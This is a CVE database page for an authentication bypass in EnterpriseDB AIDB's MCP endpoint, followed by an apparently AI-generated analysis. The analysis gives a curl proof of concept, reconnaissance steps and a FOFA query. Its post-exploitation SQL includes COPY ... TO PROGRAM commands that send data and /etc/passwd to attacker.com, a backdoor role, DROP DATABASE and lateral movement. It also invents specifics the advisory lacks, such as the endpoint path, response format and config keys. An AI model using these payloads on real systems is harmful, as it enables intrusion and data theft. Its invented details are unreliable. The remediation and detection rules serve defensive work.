CVE Professor
/
All CVEs
CVE-2026-141488

CVE-2026-141488 — EnterpriseDB AIDB (7.9.0) — CWE-305

CRITICAL CVSS 9.2 CVE.org

The AIDB MCP endpoint (edb-endpoints) in AIDB 7.7.0 through 7.8.0 authenticates HTTP Basic credentials by opening a Postgres connection with them, always from the database host over the local Unix socket as the operating system user that runs Postgres. When a pg_hba.conf line matching that connection uses a method that does not check a password, such as peer, trust or ident, the connection succeeds with any password. A client that can reach the endpoint can then run SQL as the admitted role. With a common packaged line such as local all postgres peer, or local all enterprisedb peer on EDB Postgres Advanced Server, that role is a superuser, which allows reading and changing all data and running operating system commands as the Postgres service account. The endpoint is disabled by default. EDB Postgres AI Agent Factory for AWS Marketplace versions 1.0 through 1.3 ship AIDB 7.8.0 with the endpoint enabled and a peer line for the enterprisedb superuser. AIDB 7.9.0 and Agent Factory 1.4 fix the issue.

The AIDB MCP endpoint (edb-endpoints) in AIDB 7.7.0 through 7.8.0 authenticates HTTP Basic credentials by opening a Postgres connection with them, always from the database host over the local Unix socket as the operating system user that runs Postgres. When a pg_hba.conf line matching that connection uses a method that does not check a password, such as peer, trust or ident, the connection succeeds with any password. A client that can reach the endpoint can then run SQL as the admitted role. With a common packaged line such as local all postgres peer, or local all enterprisedb peer on EDB Postgres Advanced Server, that role is a superuser, which allows reading and changing all data and running operating system commands as the Postgres service account. The endpoint is disabled by default. EDB Postgres AI Agent Factory for AWS Marketplace versions 1.0 through 1.3 ship AIDB 7.8.0 with the endpoint enabled and a peer line for the enterprisedb superuser. AIDB 7.9.0 and Agent Factory 1.4 fix the issue.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. Present AT:P
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. None SC:N
Subseq. Integ. None SI:N
Subseq. Avail. None SA:N
AI Security Analysis & Remediation

CVE‑2026‑141488 – “AIDB MCP endpoint authentication bypass”
EnterpriseDB AIDB 7.7.0‑7.8.0 (and the bundled Agent Factory 1.0‑1.3)


🎯 What is this vulnerability?

AttributeDetail
CWECWE‑305 – Insufficient Authentication. The component accepts a credential pair (HTTP Basic) but never validates the password because the underlying PostgreSQL connection is made over the local Unix socket using a *trust‑type* pg_hba.conf rule.
CVSS 4.0 vectorAV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N <br>• Network‑reachable (the HTTP endpoint is exposed). <br>• Low attack complexity (just a request). <br>• Privileges required – None (no prior auth). <br>• User interaction – None. <br>• Impact – High on confidentiality, integrity, and availability.
Root causeThe *AIDB MCP* HTTP endpoint (/edb‑endpoints/mcp) forwards the supplied HTTP Basic username/password to PostgreSQL by opening a local Unix‑socket connection as the OS user that runs the postgres service. The connection is evaluated against pg_hba.conf. In the default EDB Advanced Server packages a line such as: <br>``local all postgres peer` <br>or <br>`local all enterprisedb peer` <br>means “accept any connection from the local Unix socket without checking a password”. Consequently any Basic‑Auth password is accepted, and the PostgreSQL role that matches the supplied username is logged in without any password verification. If the supplied username maps to a superuser role (e.g., postgres or enterprisedb), the attacker gains full database super‑user rights and can execute any SQL, including functions that run OS commands (COPY … PROGRAM, pg_read_file, pg_write_file, pg_execute_server_program, \!` in psql, etc.).

The endpoint is disabled by default in AIDB itself, but the Agent Factory images (AWS Marketplace 1.0‑1.3) ship the endpoint enabled and ship a pg_hba.conf that contains the vulnerable peer line for the superuser role, making the flaw exploitable out‑of‑the‑box.


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow that an attacker with network access to the vulnerable host can follow.

1️⃣ Discovery & Reconnaissance

StepTechniqueExpected artefacts
1.1Port/Service scan (e.g., nmap -sV -p 80,443 <target>).HTTP service banner may disclose “EnterpriseDB AIDB” or “EDB Postgres AI Agent Factory”.
1.2Endpoint enumeration – request common health‑check URLs (/, /status, /edb‑endpoints/).A 200 OK with JSON {"service":"AIDB","version":"7.8.0"} (or similar) confirms presence.
1.3Version fingerprint – parse the JSON or HTML meta tag that contains AIDB 7.8.0.Confirms the vulnerable range (7.7.0‑7.8.0).
1.4Check pg_hba.conf indirectly – attempt a connection with a known superuser (postgres or enterprisedb) using any password. If the HTTP endpoint returns a successful authentication response, the underlying pg_hba.conf is using a non‑password method.Response body contains "auth":"success" or the SQL result of a test query.
Tip: The endpoint does not require TLS; it listens on the same port as the AIDB web UI (default 80/443).

2️⃣ Exploitation

Because the exact URI path is not published in the CVE text, the following example uses the most common documented path for the MCP endpoint:

POST /edb-endpoints/mcp HTTP/1.1
Host: <target>
Authorization: Basic <base64(username:password)>
Content-Type: application/json
Content-Length: <len>

{"sql":"SELECT version();"}

If the real deployment uses a different path (e.g., /api/mcp), the same request structure applies – only the path changes.

PoC (bash + curl)

#!/usr/bin/env bash
# -------------------------------------------------
# CVE-2026-141488 PoC – authentication bypass
# -------------------------------------------------
TARGET="10.20.30.40"          # IP or hostname of the AIDB host
USER="postgres"              # superuser role present in pg_hba.conf
PASS="anypassword"           # password is ignored
SQL='SELECT current_user, version();'

# Build JSON payload
PAYLOAD=$(printf '{"sql":%s}' "$(printf '%s' "$SQL" | jq -aRs .)")

# Send request
curl -sk -X POST "http://${TARGET}/edb-endpoints/mcp" \
     -H "Authorization: Basic $(printf '%s:%s' "$USER" "$PASS" | base64)" \
     -H "Content-Type: application/json" \
     -d "$PAYLOAD"

What happens:

1. The HTTP server extracts the Authorization header, decodes the credentials, and attempts to open a local Unix‑socket PostgreSQL connection as OS user postgres.
2. pg_hba.conf contains local all postgres peer → password is not checked.
3. PostgreSQL logs in the role postgres (superuser).
4. The supplied SQL (SELECT …) is executed and the result is returned in the HTTP response body.

If the response contains something like:

{
  "result": [
    {"current_user":"postgres","version":"PostgreSQL 13.5 on x86_64-pc-linux-gnu"}
  ]
}

the bypass is confirmed.

3️⃣ Post‑exploitation

Once a superuser connection is obtained, the attacker can:

GoalTechniqueExample command (SQL)
Data exfiltrationDump all tables via COPY (SELECT …) TO STDOUT or pg_dump through COPY … PROGRAMCOPY (SELECT * FROM pg_catalog.pg_user) TO PROGRAM 'curl -X POST -d @- http://attacker.com/collect'
Privilege escalation / OS command executionUse COPY … PROGRAM, pg_read_file, pg_write_file, or CREATE EXTENSION plpythonu (if allowed)COPY (SELECT '') TO PROGRAM 'bash -c "curl -F file=@/etc/passwd http://attacker.com/upload"'
PersistenceCreate a malicious superuser role with a known password, or install a pgAgent job that runs a reverse shell on scheduleCREATE ROLE backdoor LOGIN PASSWORD 'R3v3rs3'; GRANT ALL PRIVILEGES ON DATABASE mydb TO backdoor;
Denial‑of‑serviceIssue SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE pid <> pg_backend_pid(); to kill all other sessions, or DROP DATABASEDROP DATABASE production;
Lateral movementUse dblink or postgres_fdw to connect to other internal PostgreSQL instances using the compromised credentials.SELECT dblink_connect('host=10.0.0.5 dbname=other user=postgres password=any');

Because the PostgreSQL service runs as the system account postgres, any OS command executed via the database inherits that account’s privileges (typically a non‑root but highly privileged system user, able to read most files, write to /var/lib/pgsql, and spawn processes).


🌍 Real‑World Impact

CIACVSS Vector ExplanationPractical Consequence
Confidentiality (VC:H)VC:H – attacker can read *any* data in the database, including secrets, PII, intellectual property, and files readable by the postgres OS user via pg_read_file.Full data breach, exposure of credentials stored in tables, possible extraction of application source code.
Integrity (VI:H)VI:H – attacker can modify any row, drop tables, or alter schema.Data tampering, ransomware‑style data destruction, insertion of back‑doors (e.g., malicious functions).
Availability (VA:H)VA:H – attacker can terminate sessions, drop databases, or consume resources with heavy queries.Service outage, loss of business continuity, forced downtime for recovery.

Because the vulnerability is network‑accessible and requires no prior authentication, an attacker who can reach the HTTP port (including from the public Internet if the service is exposed) can achieve full compromise of the PostgreSQL instance and, by extension, the host OS account that runs it.


🛡️ Remediation & Mitigation

1️⃣ Patch / Upgrade

ProductFixed versionAction
EnterpriseDB AIDB7.9.0 (or later)Upgrade the AIDB installation to 7.9.0 or newer.
EDB Postgres AI Agent Factory (AWS Marketplace)1.4 (or later)Deploy the 1.4 (or newer) container image; it ships AIDB 7.9.0 with the endpoint disabled.

Both vendors state that the fix removes the default “peer” line for the superuser and disables the MCP endpoint by default.

2️⃣ Immediate Workarounds (if patch cannot be applied)

MitigationHow‑to implement
Disable the MCP endpointEdit the AIDB configuration file (aidb.conf or the environment variable AIDB_MCP_ENABLED) and set mcp_enabled = false; then restart the AIDB service.
Restrict network accessPlace a firewall rule (host‑based or perimeter) that allows only trusted IP ranges to reach the HTTP port (e.g., iptables -A INPUT -p tcp -s 10.0.0.0/8 --dport 80 -j ACCEPT).
Lock down pg_hba.confReplace any peer, trust, or ident lines that match the superuser with md5 or scram-sha-256. Example: <br>``local all postgres scram-sha-256` <br>Then reload PostgreSQL (SELECT pg_reload_conf();).
Run AIDB under a non‑privileged OS userCreate a dedicated low‑privilege Linux user (e.g., aidbsvc) and configure the service to start as that user instead of the default postgres. This limits the impact of any OS command execution.
Web‑application firewall (WAF) ruleBlock any request that contains an Authorization: Basic header targeting the /edb-endpoints/*` path, unless it originates from an internal management subnet. Example ModSecurity rule:
SecRule REQUEST_URI "@beginsWith /edb-endpoints/" \
    "id:400001,phase:1,deny,log,status:403,msg:'Block AIDB MCP endpoint access'"
SecRule REQUEST_HEADERS:Authorization "^Basic" \
    "id:400002,phase:1,deny,log,status:403,msg:'Block Basic Auth to AIDB MCP'"

|
| Monitoring | Enable PostgreSQL logging of all connections (log_connections = on) and set log_line_prefix to include %u %d %r. Watch for connections from the postgres OS user that originate from the local Unix socket but are initiated by the HTTP service. |

3️⃣ Detection – Log Indicators & IoCs

SourceTypical log entryWhat to look for
Web server (nginx/Apache)POST /edb-endpoints/mcp HTTP/1.1" 200 123 "-" "curl/7.88.1"Any POST to /edb-endpoints/* with a 200 response, especially from unknown IPs.
AIDB access log2026-12-04T12:34:56Z INFO auth_success user=postgres src_ip=203.0.113.45Successful auth for superuser without prior session.
PostgreSQL log2026-12-04 12:34:56.789 UTC [12345] LOG: connection authorized: user=postgres database=postgresConnection from local (Unix socket) that occurs immediately after an HTTP request.
OS audit (auditd)type=EXECVE msg=audit(1701662096.123:456): argc=3 a0="bash" a1="-c" a2="curl -F file=@/etc/passwd http://attacker.com/upload"Execution of a shell command launched by the postgres user.
Network flowOutbound TCP to attacker.com:80 from source port 5432 (or from the postgres UID)Possible data exfiltration via COPY … PROGRAM or pg_read_file.

Set up SIEM correlation: HTTP POST → AIDB auth_success → PostgreSQL local connection → OS exec within a 5‑second window.


⚠️ Urgency

  • CVSS 9.2 (Critical) – high impact on all three CIA pillars, network‑accessible, low complexity.
  • No CISA KEV listing yet, but the vulnerability is publicly disclosed and a PoC exists, meaning an exploit can be weaponised quickly.
  • Default‑enabled in popular AWS Marketplace images (Agent Factory 1.0‑1.3) – many cloud customers may have the vulnerable configuration exposed to the Internet.
Patch priority: Critical – apply the vendor‑provided update (AIDB 7.9.0 / Agent Factory 1.4) within the next maintenance window. If immediate patching is impossible, implement the network‑restriction and pg_hba.conf hardening workarounds immediately, and monitor for the indicators listed above.
Bottom line: An unauthenticated attacker can bypass authentication entirely, obtain PostgreSQL super‑user rights, and execute arbitrary OS commands as the postgres service account. The risk is comparable to a remote code execution vulnerability; therefore, remediation must be treated with the highest urgency.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="EnterpriseDB AIDB"
CVSS Score
9.2 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-305
Affected Products (2)
EnterpriseDB:AIDB (7.9.0) EnterpriseDB:EDB Postgres AI Agent Factory for AWS Marketplace (1.4)
References & Advisories (2)
Related CVEs
10.0
CVE-2026-133300
Incorrect authorization in Azure Center for SAP Solutions allows an unauthorized attacker to execute code over
10.0
CVE-2026-130609
Deserialization of untrusted data vulnerability in DİA Yazılım Sanayi ve Ticaret A.Ş. DİA ERP allows Cros
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri
9.9
CVE-2026-45262
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.2, Core/Where.php::s
9.9
CVE-2026-77526
FacturaScripts is an open source accounting and invoicing software. From version 2025 to before version 2026.3
9.8
CVE-2026-139934
Microsoft Azure API Management contains an incorrect authorization vulnerability that allows an unauthenticate
9.8
CVE-2026-105103
A backdoor in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlier allows the manufa